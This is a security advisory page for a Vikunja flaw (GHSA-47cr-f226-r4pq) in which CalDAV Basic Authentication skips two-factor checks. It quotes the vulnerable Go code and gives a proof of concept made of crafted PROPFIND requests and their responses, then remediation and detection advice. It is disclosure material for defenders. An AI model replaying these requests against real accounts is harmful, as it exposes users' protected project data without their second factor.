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Vikunja has a 2FA Bypass via Caldav Basic AuthGHSA-47cr-f226-r4pq

Fix: go-vikunja/vikunja@cdf5d30

GHSA-47cr-f226-r4pq is a CWE-288 vulnerability in code.vikunja.io/api. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

Also known asCVE-2026-33315GO-2026-4794
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-47cr-f226-r4pq.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk-0.12%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk
0.00%0.31%0.63%0.94%0.1%0.3%May 26Aug 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐹code.vikunja.io/api

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Caldav endpoint allows login using Basic Authentication, which in turn allows users to bypass the TOTP on 2FA-enabled accounts. The user can then access standard project information that would normally be protected behind 2FA (if enabled), such as project name, description, etc.

Details

The two files below show that when a user is accessing Caldav via Basic Authentication, it skips all steps involving 2FA. The order of operations is essentially:

  1. Retrieve basic credentials.
  2. Verify username.
  3. Verify password.
  4. Success

pkg/routes/caldav/auth.go:45

u, err := checkUserCaldavTokens(s, credentials)
	if user.IsErrUserDoesNotExist(err) {
		return false, nil
	}
	if u == nil {
		u, err = user.CheckUserCredentials(s, credentials)
		if err != nil {
			log.Errorf("Error during basic auth for caldav: %v", err)
			return false, nil
		}
	}

pkg/user/user.go:358

func CheckUserCredentials(s *xorm.Session, u *Login) (*User, error) {
	// Check if we have any credentials
	if u.Password == "" || u.Username == "" {
		return nil, ErrNoUsernamePassword{}
	}

	// Check if the user exists
	user, err := getUserByUsernameOrEmail(s, u.Username)
	if err != nil {
		// hashing the password takes a long time, so we hash something to not make it clear if the username was wrong
		_, _ = bcrypt.GenerateFromPassword([]byte(u.Username), 14)
		return nil, ErrWrongUsernameOrPassword{}
	}

	if user.Issuer != IssuerLocal {
		return user, &ErrAccountIsNotLocal{UserID: user.ID}
	}

	// The user is invalid if they need to verify their email address
	if user.Status == StatusEmailConfirmationRequired {
		return &User{}, ErrEmailNotConfirmed{UserID: user.ID}
	}

	// Check the users password
	err = CheckUserPassword(user, u.Password)
	if err != nil {
		if IsErrWrongUsernameOrPassword(err) {
			handleFailedPassword(user)
		}
		return user, err
	}

	return user, nil
}

PoC

  1. Setup a Docker instance of Vikunja v2.1.0 and create an account. Enable 2FA on the account.

    <img width="1506" height="646" alt="CleanShot 2026-03-16 at 15 30 24@2x" src="https://github.com/user-attachments/assets/e88522af-4333-4758-8ba4-3e34de9680f7" />
  2. Logout of the account.

  3. Using a web proxy, such as Burp Suite, craft an HTTP request to the endpoint similar to the one shown below. Ensure that the 2FA-enabled user's username and password is properly Base64-encoded and inserted into the Authorization header.

PROPFIND /dav/principals/ HTTP/1.1
Host: 127.0.0.1:3456
Authorization: Basic {{ REDACTED }}
[ TRUNCATED ]

<?xml version="1.0"?><d:propfind xmlns:d="DAV:"><d:prop><d:displayname/><d:resourcetype/></d:prop></d:propfind>
  1. Observe that the response contains authenticated user information.
HTTP/1.1 207 Multi-Status
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Date: Mon, 16 Mar 2026 19:31:47 GMT
Content-Length: 398

<?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:" xmlns:C="urn:ietf:params:xml:ns:caldav" xmlns:CS="http://calendarserver.org/ns/"><D:response><D:href>/dav/projects</D:href><D:propstat><D:prop><D:displayname>projects</D:displayname>
[ TRUNCATED ]
  1. Other requests can then be crafted to retrieve more information about a specific project, such as the one below.
PROPFIND /dav/projects/1/{{ PROJECT NAME }}/ HTTP/1.1
Host: 127.0.0.1:3456
Authorization: Basic [ REDACTED ]
[TRUNCATED]

<?xml version="1.0"?><c:calendar-query xmlns:d="DAV:" xmlns:c="urn:ietf:params:xml:ns:caldav"><d:prop><d:getetag/><c:calendar-data/></d:prop><c:filter><c:comp-filter name="VCALENDAR"><c:comp-filter name="VTODO"/></c:comp-filter></c:filter></c:calendar-query>
HTTP/1.1 207 Multi-Status
Content-Type: text/xml; charset=utf-8
[ TRUNCATED ]

[ TRUNCATED ]
<D:prop><C:calendar-data>BEGIN:VCALENDAR&#xA;VERSION:2.0&#xA;X-PUBLISHED-TTL:PT4H&#xA;X-WR-CALNAME:Inbox&#xA;PRODID:-//Vikunja Todo App//EN&#xA;BEGIN:VTODO&#xA;UID:8gb6eclz-dad5-4a38-80a8-09005707eb51&#xA;DTSTAMP:20260316T190905Z&#xA;SUMMARY:test&#xA;DESCRIPTION:&lt;p&gt;description&lt;/p&gt;&#xA;CREATED:20260301T203712Z&#xA;LAST-MODIFIED:20260316T190905Z&#xA;BEGIN:VALARM&#xA;TRIGGER;VALUE=DATE-TIME:20260316T130000Z&#xA;ACTION:DISPLAY&#xA;DESCRIPTION:test&#xA;END:VALARM&#xA;END:VTODO&#xA;END:VCALENDAR</C:calendar-data></D:prop><D:status>HTTP/1.1 200 OK
[ TRUNCATED ]

Impact

Any user that has 2FA enabled could have it bypassed, allowing attacker access to a lot of the user's project information.

Remediation

If there are 2FA barriers to access an account in a specific fashion, all integrations should follow those if they're using the same methods of authentication. The easiest path is probably to disable Basic Authentication for Caldav by default, but keep the token access enabled, that way users can generate tokens specifically for Caldav if they want to use that feature. Basic Auth for it could be kept, but would most likely want to be a feature flag or something along those lines. That's so users can turn it on if it's necessary, but can be notified in the documentation that it's a more unsafe pattern if 2FA is enabled.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gocode.vikunja.io/apiall versionsNo fix

Affected Products

1 product · 1 configurations
Application
vikunjavikunja
< 2.2.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of code.vikunja.io/api for GHSA-47cr-f226-r4pq. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary The Caldav endpoint allows login using Basic Authentication, which in turn allows users to bypass the TOTP on 2FA-enabled accounts. The user can then access standard project information that would normally be protected behind 2FA (if enabled), such as project name, description, etc. ### Details The two files below show that when a user is accessing Caldav via Basic Authentication, it skips all steps involving 2FA. The order of operations is essentially: 1. Retrieve basic credentials. 2. Verify username. 3. Verify password. 4. Success **pkg/routes/caldav/auth.go:45** ```go u, err
O3 Security · Impact-Aware SCA

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Vikunja has a 2FA Bypass via Caldav Basic Auth